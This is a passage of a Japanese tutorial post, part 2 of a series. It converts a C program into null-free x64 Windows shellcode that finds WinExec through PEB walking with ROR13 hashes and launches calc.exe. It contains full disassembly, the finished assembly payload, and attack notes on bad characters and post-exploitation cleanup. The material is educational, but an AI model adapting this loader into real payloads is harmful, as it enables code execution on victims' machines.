Windowsで動くx64のシェルコードを書く【２】

# はじめに
こんにちは、今回はWindowsで動くx64のシェルコードを作ります。
具体的には、WinExec関数から電卓を起動するプログラムをシェルコードとして作成します。

この記事は[前回](https://qiita.com/portable-DUMMY/items/25068be4ae4cbb22b56d)の続きです。手順１で電卓を起動するCプログラムを作成しましたが、手順２ではそれを逆アセンブルし、シェルコードへ改変します。

# 手順２：シェルコードへの変換
作成したプログラムを逆アセンブルします。逆アセンブラには、GCCの`objdump`を使用しました。GCCのWindows用のツールセットは[公式HP](https://www.mingw-w64.org/)から入手できます。

逆アセンブル結果からテキストセクション（`.text`）だけを取り出し、シェルコードへ改変します。
先に結果を示します。

<details><summary>逆アセンブルコマンド</summary>
  
  ```bash
  objdump -M intel -D shellcode_x64_windows.exe
  ```
  </details>

<details><summary>テキストセクションの抜粋</summary>

  ```text
  Disassembly of section .text:

  0000000140001000 <.text>:
   140001005:   48 89 6c 24 10          mov    QWORD PTR [rsp+0x10],rbp
   14000100a:   48 89 74 24 18          mov    QWORD PTR [rsp+0x18],rsi
   14000100f:   48 89 7c 24 20          mov    QWORD PTR [rsp+0x20],rdi
   140001014:   41 56                   push   r14
   140001016:   48 83 ec 20             sub    rsp,0x20
   14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
   140001021:   00 00
   140001023:   33 db                   xor    ebx,ebx
   140001025:   44 8b f3                mov    r14d,ebx
   140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
   14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
   140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
   140001033:   4d 3b d3                cmp    r10,r11
   140001036:   74 5f                   je     0x140001097
   140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   14000103f:   00
   140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
   140001044:   4d 85 c9                test   r9,r9
   140001047:   74 40                   je     0x140001089
   140001049:   8b c3                   mov    eax,ebx
   14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   140001052:   48 ff c2                inc    rdx
   140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
   14000105a:   75 f6                   jne    0x140001052
   14000105c:   4c 8b c3                mov    r8,rbx
   14000105f:   48 85 d2                test   rdx,rdx
   140001062:   74 25                   je     0x140001089
   140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
   140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   14000106f:   00
   140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
   140001075:   49 ff c0                inc    r8
   140001078:   c1 c8 0d                ror    eax,0xd
   14000107b:   03 c1                   add    eax,ecx
   14000107d:   4c 3b c2                cmp    r8,rdx
   140001080:   72 ee                   jb     0x140001070
   140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
   140001087:   74 0a                   je     0x140001093
   140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
   14000108c:   4d 3b d3                cmp    r10,r11
   14000108f:   75 af                   jne    0x140001040
   140001091:   eb 04                   jmp    0x140001097
   140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
   140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
   14000109b:   44 8b d3                mov    r10d,ebx
   14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88]
   1400010a5:   00
   1400010a6:   49 03 ce                add    rcx,r14
   1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
   1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
   1400010b0:   4d 03 de                add    r11,r14
   1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
   1400010b6:   49 03 f6                add    rsi,r14
   1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
   1400010bc:   49 03 ee                add    rbp,r14
   1400010bf:   85 ff                   test   edi,edi
   1400010c1:   74 63                   je     0x140001126
   1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
   1400010c6:   4d 03 ce                add    r9,r14
   1400010c9:   74 3f                   je     0x14000110a
   1400010cb:   8b cb                   mov    ecx,ebx
   1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   1400010d4:   48 ff c2                inc    rdx
   1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
   1400010db:   75 f7                   jne    0x1400010d4
   1400010dd:   4c 8b c3                mov    r8,rbx
   1400010e0:   48 85 d2                test   rdx,rdx
   1400010e3:   74 25                   je     0x14000110a
   1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0]
   1400010ec:   00 00 00 00
   1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
   1400010f5:   49 ff c0                inc    r8
   1400010f8:   c1 c9 0d                ror    ecx,0xd
   1400010fb:   03 c8                   add    ecx,eax
   1400010fd:   4c 3b c2                cmp    r8,rdx
   140001100:   72 ee                   jb     0x1400010f0
   140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
   140001108:   74 0e                   je     0x140001118
   14000110a:   41 ff c2                inc    r10d
   14000110d:   49 83 c3 04             add    r11,0x4
   140001111:   44 3b d7                cmp    r10d,edi
   140001114:   72 ad                   jb     0x1400010c3
   140001116:   eb 0e                   jmp    0x140001126
   140001118:   41 8b c2                mov    eax,r10d
   14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
   14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0]
   140001123:   49 03 de                add    rbx,r14
   140001126:   33 d2                   xor    edx,edx
   140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]        # 0x140002240
   14000112f:   ff d3                   call   rbx
   140001131:   48 8b 5c 24 30          mov    rbx,QWORD PTR [rsp+0x30]
   140001136:   33 c0                   xor    eax,eax
   140001138:   48 8b 6c 24 38          mov    rbp,QWORD PTR [rsp+0x38]
   14000113d:   48 8b 74 24 40          mov    rsi,QWORD PTR [rsp+0x40]
   140001142:   48 8b 7c 24 48          mov    rdi,QWORD PTR [rsp+0x48]
   140001147:   48 83 c4 20             add    rsp,0x20
   14000114b:   41 5e                   pop    r14
   14000114d:   c3                      ret
   14000114e:   cc                      int3
   14000114f:   cc                      int3
   140001150:   cc                      int3
   140001151:   cc                      int3
   140001152:   cc                      int3
   140001153:   cc                      int3
   140001154:   cc                      int3
   140001155:   cc                      int3
   140001156:   66 66 0f 1f 84 00 00    data16 nop WORD PTR [rax+rax*1+0x0]
   14000115d:   00 00 00
   140001160:   48 3b 0d 99 1e 00 00    cmp    rcx,QWORD PTR [rip+0x1e99]        #      0x140003000
   140001167:   75 10                   jne    0x140001179
   140001169:   48 c1 c1 10             rol    rcx,0x10
   14000116d:   66 f7 c1 ff ff          test   cx,0xffff
   # 以下、省略
  ```
  </details>

<details><summary>完成したシェルコード</summary>

  ```python:shellcode_x64_windows.asm
  .intel_syntax noprefix

  .section .text
	.global _start
  _start:
	xor rbx,rbx
	mov bl,0x60 #RBX = 0x0000000000000060
	mov rax,gs:[rbx] #RAX = GS:[0x60] = PEB
	xor rbx,rbx
	mov r14d,ebx
	mov rcx,QWORD PTR [rax+0x18] #RCX = imageBase
	mov r11,QWORD PTR [rcx+0x20] #R11 = start
	mov r10,QWORD PTR [r11] #R10 = entry
	cmp r10,r11
	je .end_of_dll
  .dll_search:
	mov r9,QWORD PTR [r10+0x50] #R9 = DllName
	test r9,r9
	je .next_dll
	mov eax,ebx
	mov rdx,0xffffffffffffffff
  .wcslen:
	inc rdx
	cmp WORD PTR [r9+rdx*2],ax
	jne .wcslen
	mov r8,rbx
	test rdx,rdx
	je .next_dll
  .wror13:
	movzx ecx,WORD PTR [r9+r8*2]
	inc r8
	ror eax,0xd
	add eax,ecx
	cmp r8,rdx #if i == wcslen(DllName)
	jb .wror13
	cmp eax,0x6e2bca17 #if EAX == target
	je .dll_is_found
  .next_dll:
	mov r10,QWORD PTR [r10] #entry = entry->Flink
	cmp r10,r11 #if entry == start
	jne .dll_search
	jmp .dll_is_found
  .dll_is_found:
	mov r14,QWORD PTR [r10+0x20] #R14 = DllBase
  .end_of_dll:
	movsxd rax,DWORD PTR [r14+0x3c] #RAX = NtHeader
	mov r10d,ebx #i = 0
	xor rbx,rbx
	mov bl,0x88
	add r14,rbx #R14 = R14+0x88
	mov ecx,DWORD PTR [rax+r14] #mov ecx,DWORD PTR [rax+r14*1+0x88] => mov ecx,DWORD    PTR [rax+r14]
	sub r14,rBX #R14 = R14-0x88
	xor rbx,rbx
	add rcx,r14 #RCX = ExportDirectory
	mov r11d,DWORD PTR [rcx+0x20]
	mov esi,DWORD PTR [rcx+0x24]
	add r11,r14 #R11 = rvaOfNameOrdinals
	xor r12,r12
	mov r12d,DWORD PTR [rcx+0x1c]
	add rsi,r14 #RSI = rvaOfNames
	mov edi,DWORD PTR [rcx+0x18] #RDI = NumberOfNames
	add r12,r14 #RBP = rvaOfFunctions
	test edi,edi
	je .exec_winexec
  .func_search:
	mov r9d,DWORD PTR [r11]
	add r9,r14
	je .next_func
	mov ecx,ebx
	mov rdx,0xffffffffffffffff
  .strlen:
	inc rdx
	cmp BYTE PTR [r9+rdx*1],cl
	jne .strlen
	mov r8,rbx
	test rdx,rdx
	je .next_func
  .ror13:
	movsx eax,BYTE PTR [r9+r8*1]
	inc r8
	ror ecx,0xd
	add ecx,eax
	cmp r8,rdx #if R8 == strlen()
	jb .ror13
	cmp ecx,0xe8afe98 #if RCX == target
	je .func_is_found
  .next_func:
	inc r10d #i++
	add r11,0x4
	cmp r10d,edi #if i > NumberOfNames
	jb .func_search
	jmp .exec_winexec
  .func_is_found:
	mov eax,r10d
	movzx ecx,WORD PTR [rsi+rax*2]
	shl rcx,2
	add r12,rcx
	mov ebx,DWORD PTR [r12] #mov ebx,DWORD PTR [rbp+rcx*4+0x0] => shl rcx,2 add r12,rcx mov ebx,DWORD PTR [r12]
	add rbx,r14 #RBX = WinExec
  .exec_winexec:
	xor rdx,rdx
	push rdx #push '\0'
	movabs rcx,0x6578652E636C6163 #"calc.exe"
	push rcx
	mov rcx,rsp
	add rsp,0x18 #Alignment
	call rbx #Call WinExec
  ```
  </details>

シェルコードへ改変するために、下記の５つを実施します。

1. プロローグとエピローグの削除
1. ラベルの割り当て
1. Bad Charactersの除去
1. アライメントの調整
1. バイトコードへの変換

以下、詳細な説明です。

### プロローグ・エピローグの削除
Cプログラムでは、電卓を起動するプログラムをメイン関数の中に実装しました。メイン関数の前には、スレッドを初期化する関数などが既に呼ばれている訳で、当然メイン関数にもプロローグとエピローグが存在します。

![図４.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4007841/7ade54b5-3063-4c37-ba28-b83fa60a1fff.png)
上図：メイン関数が呼ばれる直前のコールスタック。`KERNEL32!BaseThreadInitThunk`でcall命令が呼ばれ、いくつかのジャンプを経た後に、メイン関数へ到達する。

関数のプロローグやエピローグは、シェルコードでは不要のため削除します。また、電卓起動後の処理も、今回は不要のため削除します。

:::note info
一般に、攻撃が成功した後の処理は、攻撃のシナリオを考えて慎重に決めなければいけません。今回は、攻撃対象のプログラムがクラッシュしてもよい前提で、攻撃成功後（電卓起動後）の処理をまるっと削除しました。

攻撃対象のプログラムにクラッシュしてほしくない場合（例えば、攻撃対象のホストで動くサービスプログラムを停止させることなく攻撃を成功させたい場合）、`ExitThread`などを使用して自分のスレッドのみを終了させる必要がありますが、`ExitThread`は`Kernel32.dll`のエクスポート関数のため、`WinExec`と同様にPEBから関数アドレスを求める必要があります。

また、カーネルエクスプロイトを行う場合は、攻撃対象プログラムが継続して動作するように、元の場所へ復帰する処理を加える必要があります。
:::

削除した結果を下記に示します。かなりシンプルになりました。
<details><summary>逆アセンブル結果２</summary>

  ```python
  Disassembly of section .text:

  0000000140001000 <.text>:
   14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
   140001021:   00 00
   140001023:   33 db                   xor    ebx,ebx
   140001025:   44 8b f3                mov    r14d,ebx
   140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
   14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
   140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
   140001033:   4d 3b d3                cmp    r10,r11
   140001036:   74 5f                   je     0x140001097
   140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   14000103f:   00
   140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
   140001044:   4d 85 c9                test   r9,r9
   140001047:   74 40                   je     0x140001089
   140001049:   8b c3                   mov    eax,ebx
   14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   140001052:   48 ff c2                inc    rdx
   140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
   14000105a:   75 f6                   jne    0x140001052
   14000105c:   4c 8b c3                mov    r8,rbx
   14000105f:   48 85 d2                test   rdx,rdx
   140001062:   74 25                   je     0x140001089
   140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
   140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   14000106f:   00
   140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
   140001075:   49 ff c0                inc    r8
   140001078:   c1 c8 0d                ror    eax,0xd
   14000107b:   03 c1                   add    eax,ecx
   14000107d:   4c 3b c2                cmp    r8,rdx
   140001080:   72 ee                   jb     0x140001070
   140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
   140001087:   74 0a                   je     0x140001093
   140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
   14000108c:   4d 3b d3                cmp    r10,r11
   14000108f:   75 af                   jne    0x140001040
   140001091:   eb 04                   jmp    0x140001097
   140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
   140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
   14000109b:   44 8b d3                mov    r10d,ebx
   14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88]
   1400010a5:   00
   1400010a6:   49 03 ce                add    rcx,r14
   1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
   1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
   1400010b0:   4d 03 de                add    r11,r14
   1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
   1400010b6:   49 03 f6                add    rsi,r14
   1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
   1400010bc:   49 03 ee                add    rbp,r14
   1400010bf:   85 ff                   test   edi,edi
   1400010c1:   74 63                   je     0x140001126
   1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
   1400010c6:   4d 03 ce                add    r9,r14
   1400010c9:   74 3f                   je     0x14000110a
   1400010cb:   8b cb                   mov    ecx,ebx
   1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   1400010d4:   48 ff c2                inc    rdx
   1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
   1400010db:   75 f7                   jne    0x1400010d4
   1400010dd:   4c 8b c3                mov    r8,rbx
   1400010e0:   48 85 d2                test   rdx,rdx
   1400010e3:   74 25                   je     0x14000110a
   1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0]
   1400010ec:   00 00 00 00
   1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
   1400010f5:   49 ff c0                inc    r8
   1400010f8:   c1 c9 0d                ror    ecx,0xd
   1400010fb:   03 c8                   add    ecx,eax
   1400010fd:   4c 3b c2                cmp    r8,rdx
   140001100:   72 ee                   jb     0x1400010f0
   140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
   140001108:   74 0e                   je     0x140001118
   14000110a:   41 ff c2                inc    r10d
   14000110d:   49 83 c3 04             add    r11,0x4
   140001111:   44 3b d7                cmp    r10d,edi
   140001114:   72 ad                   jb     0x1400010c3
   140001116:   eb 0e                   jmp    0x140001126
   140001118:   41 8b c2                mov    eax,r10d
   14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
   14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0]
   140001123:   49 03 de                add    rbx,r14
   140001126:   33 d2                   xor    edx,edx
   140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]
   14000112f:   ff d3                   call   rbx
  ```
  </details>

### ラベルの割り当て
逆アセンブル結果には、`jmp`のオペランドに絶対アドレスが指定されています。これは、コンパイラが条件分岐後の行先を絶対アドレスへ解決し、オブジェクトファイルへ書き込んだためです。

通常、プログラムはロード時に再配置されるため、コンパイラが生成した絶対ドレスをそのまま使用することはできません。
ローダーによってプログラムが読み込まれる場合は、ローダーが再配置テーブルを参照して絶対アドレスを修正することで、プログラムが位置独立で動作することを保証します。しかし、シェルコードはそのままスタック領域などのメモリへ読み込まれるものであるため、絶対アドレスを放置することはできません。

そこで、絶対アドレスをラベルへ書き換える作業をします。
後々、このコードを適切なオプションを付けてアセンブルすることで、ラベルがPC相対アドレスに解決され、位置独立で動作するバイトコードになります。

:::note
ラベルとは、アドレスを保持するためにGNUアセンブラが使用する変数（シンボル）の一種です。基本的に、アドレスを書ける場所は全てラベルに置き換えることができます。厳密な定義は[GNUアセンブラの公式ドキュメント](https://ftp.gnu.org/old-gnu/Manuals/gas-2.9.1/html_chapter/as_7.html)に記載されています。日本語では、[こちらの記事](https://gondow.github.io/linux-x86-64-programming/7-asm.html)が非常に分かりやすく解説していました。
:::

絶対アドレスをラベルへ置き換えた結果を下記に示します。
逆アセンブル結果を解読し、処理の流れが分かるようなラベル名を付けました。

<details><summary>逆アセンブル結果３</summary>

  ```python
  Disassembly of section .text:

  0000000140001000 <.text>:
   14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60
   140001021:   00 00
   140001023:   33 db                   xor    ebx,ebx
   140001025:   44 8b f3                mov    r14d,ebx
   140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
   14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
   140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
   140001033:   4d 3b d3                cmp    r10,r11
   140001036:   74 5f                   je     .end_of_dll
   140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   14000103f:   00
   .dll_search:
   140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
   140001044:   4d 85 c9                test   r9,r9
   140001047:   74 40                   je     .next_dll
   140001049:   8b c3                   mov    eax,ebx
   14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   .wcslen:
   140001052:   48 ff c2                inc    rdx
   140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
   14000105a:   75 f6                   jne    .wcslen
   14000105c:   4c 8b c3                mov    r8,rbx
   14000105f:   48 85 d2                test   rdx,rdx
   140001062:   74 25                   je     .next_dll
   .wror13:
   140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
   140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   14000106f:   00
   140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
   140001075:   49 ff c0                inc    r8
   140001078:   c1 c8 0d                ror    eax,0xd
   14000107b:   03 c1                   add    eax,ecx
   14000107d:   4c 3b c2                cmp    r8,rdx
   140001080:   72 ee                   jb     wcslen
   140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
   140001087:   74 0a                   je     .dll_is_found
   .next_dll:
   140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
   14000108c:   4d 3b d3                cmp    r10,r11
   14000108f:   75 af                   jne    .dll_search
   140001091:   eb 04                   jmp    .dll_is_found
   .dll_is_found:
   140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
   .end_of_dll:
   140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
   14000109b:   44 8b d3                mov    r10d,ebx
   14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88]
   1400010a5:   00
   1400010a6:   49 03 ce                add    rcx,r14
   1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
   1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
   1400010b0:   4d 03 de                add    r11,r14
   1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
   1400010b6:   49 03 f6                add    rsi,r14
   1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
   1400010bc:   49 03 ee                add    rbp,r14
   1400010bf:   85 ff                   test   edi,edi
   1400010c1:   74 63                   je     .exec_winexec
   .func_search:
   1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
   1400010c6:   4d 03 ce                add    r9,r14
   1400010c9:   74 3f                   je     .next_func
   1400010cb:   8b cb                   mov    ecx,ebx
   1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   .strlen:
   1400010d4:   48 ff c2                inc    rdx
   1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
   1400010db:   75 f7                   jne    .strlen
   1400010dd:   4c 8b c3                mov    r8,rbx
   1400010e0:   48 85 d2                test   rdx,rdx
   1400010e3:   74 25                   je     .next_func
   .ror13:
   1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0]
   1400010ec:   00 00 00 00
   1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
   1400010f5:   49 ff c0                inc    r8
   1400010f8:   c1 c9 0d                ror    ecx,0xd
   1400010fb:   03 c8                   add    ecx,eax
   1400010fd:   4c 3b c2                cmp    r8,rdx
   140001100:   72 ee                   jb     .ror13
   140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
   140001108:   74 0e                   je     .func_is_found
   .next_func:
   14000110a:   41 ff c2                inc    r10d
   14000110d:   49 83 c3 04             add    r11,0x4
   140001111:   44 3b d7                cmp    r10d,edi
   140001114:   72 ad                   jb     .func_search
   140001116:   eb 0e                   jmp    .exec_winexec
   .func_is_found:
   140001118:   41 8b c2                mov    eax,r10d
   14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
   14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0]
   140001123:   49 03 de                add    rbx,r14
   .exec_winexec
   140001126:   33 d2                   xor    edx,edx
   140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]
   14000112f:   ff d3                   call   rbx
  ```
  </details>

### Bad Charactersの除去
シェルコードには、使用できないバイトの種類が存在します。

例えば、攻撃のインターフェイスが文字列の入力欄である場合、シェルコードにナル文字（`'\0'`）が含まれていると、そのナル文字までしかコードが読み込まれず、攻撃が成功しません。また、HTTPのPOSTデータとしてシェルコードを送る場合、Line Feed（`'\n'`）が含まれていると、POSTデータが終端してしまい攻撃が成功しません。

このように、攻撃の都合でシェルコードに含められないバイトを**Bad Characters**と呼び、除去する必要があります。様々な除去方法が存在しますが、概ねの考え方は下記の通りです。
+ オペコードにBad Charactersが含まれている場合は、それらを含まない別の命令を組み合わせて元の処理を再現する。
+ オペランドの値にBad Charactersが含まれている場合は、別の値をレジスタへ代入して、レジスタに対して適当な演算命令を施し元の値を再現する。

:::note info
何がBad Charactersに該当するかは攻撃対象プログラムによって変わります。攻撃対象プログラムが手元にある場合は、攻撃インターフェイスに検査用のバイト列（`\x00\x01・・・\x99`）を送り込み、どこまで入力されたかをデバッグ等で確認することで、特定できます。
:::

今回は文字列の入力欄にシェルコードを流し込むことを想定し、ナルバイト（`0x00`）を除去します。ナルバイトが含まれている行にコメントを付けます。

<details><summary>逆アセンブル結果３（コメント付き）</summary>

```python
Disassembly of section .text:

0000000140001000 <.text>:
   14000101a:   65 48 8b 04 25 60 00    mov    rax,QWORD PTR gs:0x60 ### 該当箇所１ ###
   140001021:   00 00
   140001023:   33 db                   xor    ebx,ebx
   140001025:   44 8b f3                mov    r14d,ebx
   140001028:   48 8b 48 18             mov    rcx,QWORD PTR [rax+0x18]
   14000102c:   4c 8b 59 20             mov    r11,QWORD PTR [rcx+0x20]
   140001030:   4d 8b 13                mov    r10,QWORD PTR [r11]
   140001033:   4d 3b d3                cmp    r10,r11
   140001036:   74 5f                   je     .end_of_dll
   140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所２ ###
   14000103f:   00
   .dll_search:
   140001040:   4d 8b 4a 50             mov    r9,QWORD PTR [r10+0x50]
   140001044:   4d 85 c9                test   r9,r9
   140001047:   74 40                   je     .next_dll
   140001049:   8b c3                   mov    eax,ebx
   14000104b:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   .wcslen:
   140001052:   48 ff c2                inc    rdx
   140001055:   66 41 39 04 51          cmp    WORD PTR [r9+rdx*2],ax
   14000105a:   75 f6                   jne    .wcslen
   14000105c:   4c 8b c3                mov    r8,rbx
   14000105f:   48 85 d2                test   rdx,rdx
   140001062:   74 25                   je     .next_dll
   .wror13:
   140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0] ### 該当箇所３ ###
   140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所４ ###
   14000106f:   00
   140001070:   43 0f b7 0c 41          movzx  ecx,WORD PTR [r9+r8*2]
   140001075:   49 ff c0                inc    r8
   140001078:   c1 c8 0d                ror    eax,0xd
   14000107b:   03 c1                   add    eax,ecx
   14000107d:   4c 3b c2                cmp    r8,rdx
   140001080:   72 ee                   jb     wcslen
   140001082:   3d 17 ca 2b 6e          cmp    eax,0x6e2bca17
   140001087:   74 0a                   je     .dll_is_found
   .next_dll:
   140001089:   4d 8b 12                mov    r10,QWORD PTR [r10]
   14000108c:   4d 3b d3                cmp    r10,r11
   14000108f:   75 af                   jne    .dll_search
   140001091:   eb 04                   jmp    .dll_is_found
   .dll_is_found:
   140001093:   4d 8b 72 20             mov    r14,QWORD PTR [r10+0x20]
   .end_of_dll:
   140001097:   49 63 46 3c             movsxd rax,DWORD PTR [r14+0x3c]
   14000109b:   44 8b d3                mov    r10d,ebx
   14000109e:   42 8b 8c 30 88 00 00    mov    ecx,DWORD PTR [rax+r14*1+0x88] ### 該当箇所５ ###
   1400010a5:   00
   1400010a6:   49 03 ce                add    rcx,r14
   1400010a9:   44 8b 59 20             mov    r11d,DWORD PTR [rcx+0x20]
   1400010ad:   8b 71 24                mov    esi,DWORD PTR [rcx+0x24]
   1400010b0:   4d 03 de                add    r11,r14
   1400010b3:   8b 69 1c                mov    ebp,DWORD PTR [rcx+0x1c]
   1400010b6:   49 03 f6                add    rsi,r14
   1400010b9:   8b 79 18                mov    edi,DWORD PTR [rcx+0x18]
   1400010bc:   49 03 ee                add    rbp,r14
   1400010bf:   85 ff                   test   edi,edi
   1400010c1:   74 63                   je     .exec_winexec
   .func_search:
   1400010c3:   45 8b 0b                mov    r9d,DWORD PTR [r11]
   1400010c6:   4d 03 ce                add    r9,r14
   1400010c9:   74 3f                   je     .next_func
   1400010cb:   8b cb                   mov    ecx,ebx
   1400010cd:   48 c7 c2 ff ff ff ff    mov    rdx,0xffffffffffffffff
   .strlen:
   1400010d4:   48 ff c2                inc    rdx
   1400010d7:   41 38 0c 11             cmp    BYTE PTR [r9+rdx*1],cl
   1400010db:   75 f7                   jne    .strlen
   1400010dd:   4c 8b c3                mov    r8,rbx
   1400010e0:   48 85 d2                test   rdx,rdx
   1400010e3:   74 25                   je     .next_func
   .ror13:
   1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0] ### 該当箇所６ ###
   1400010ec:   00 00 00 00
   1400010f0:   43 0f be 04 01          movsx  eax,BYTE PTR [r9+r8*1]
   1400010f5:   49 ff c0                inc    r8
   1400010f8:   c1 c9 0d                ror    ecx,0xd
   1400010fb:   03 c8                   add    ecx,eax
   1400010fd:   4c 3b c2                cmp    r8,rdx
   140001100:   72 ee                   jb     .ror13
   140001102:   81 f9 98 fe 8a 0e       cmp    ecx,0xe8afe98
   140001108:   74 0e                   je     .func_is_found
   .next_func:
   14000110a:   41 ff c2                inc    r10d
   14000110d:   49 83 c3 04             add    r11,0x4
   140001111:   44 3b d7                cmp    r10d,edi
   140001114:   72 ad                   jb     .func_search
   140001116:   eb 0e                   jmp    .exec_winexec
   .func_is_found:
   140001118:   41 8b c2                mov    eax,r10d
   14000111b:   0f b7 0c 46             movzx  ecx,WORD PTR [rsi+rax*2]
   14000111f:   8b 5c 8d 00             mov    ebx,DWORD PTR [rbp+rcx*4+0x0] ### 該当箇所７ ###
   140001123:   49 03 de                add    rbx,r14
   .exec_winexec
   140001126:   33 d2                   xor    edx,edx
   140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111] ### 該当箇所８ ###
   14000112f:   ff d3                   call   rbx
  ```
</details>

以下、該当箇所ごとのナルバイト除去方法です。

#### 該当箇所１
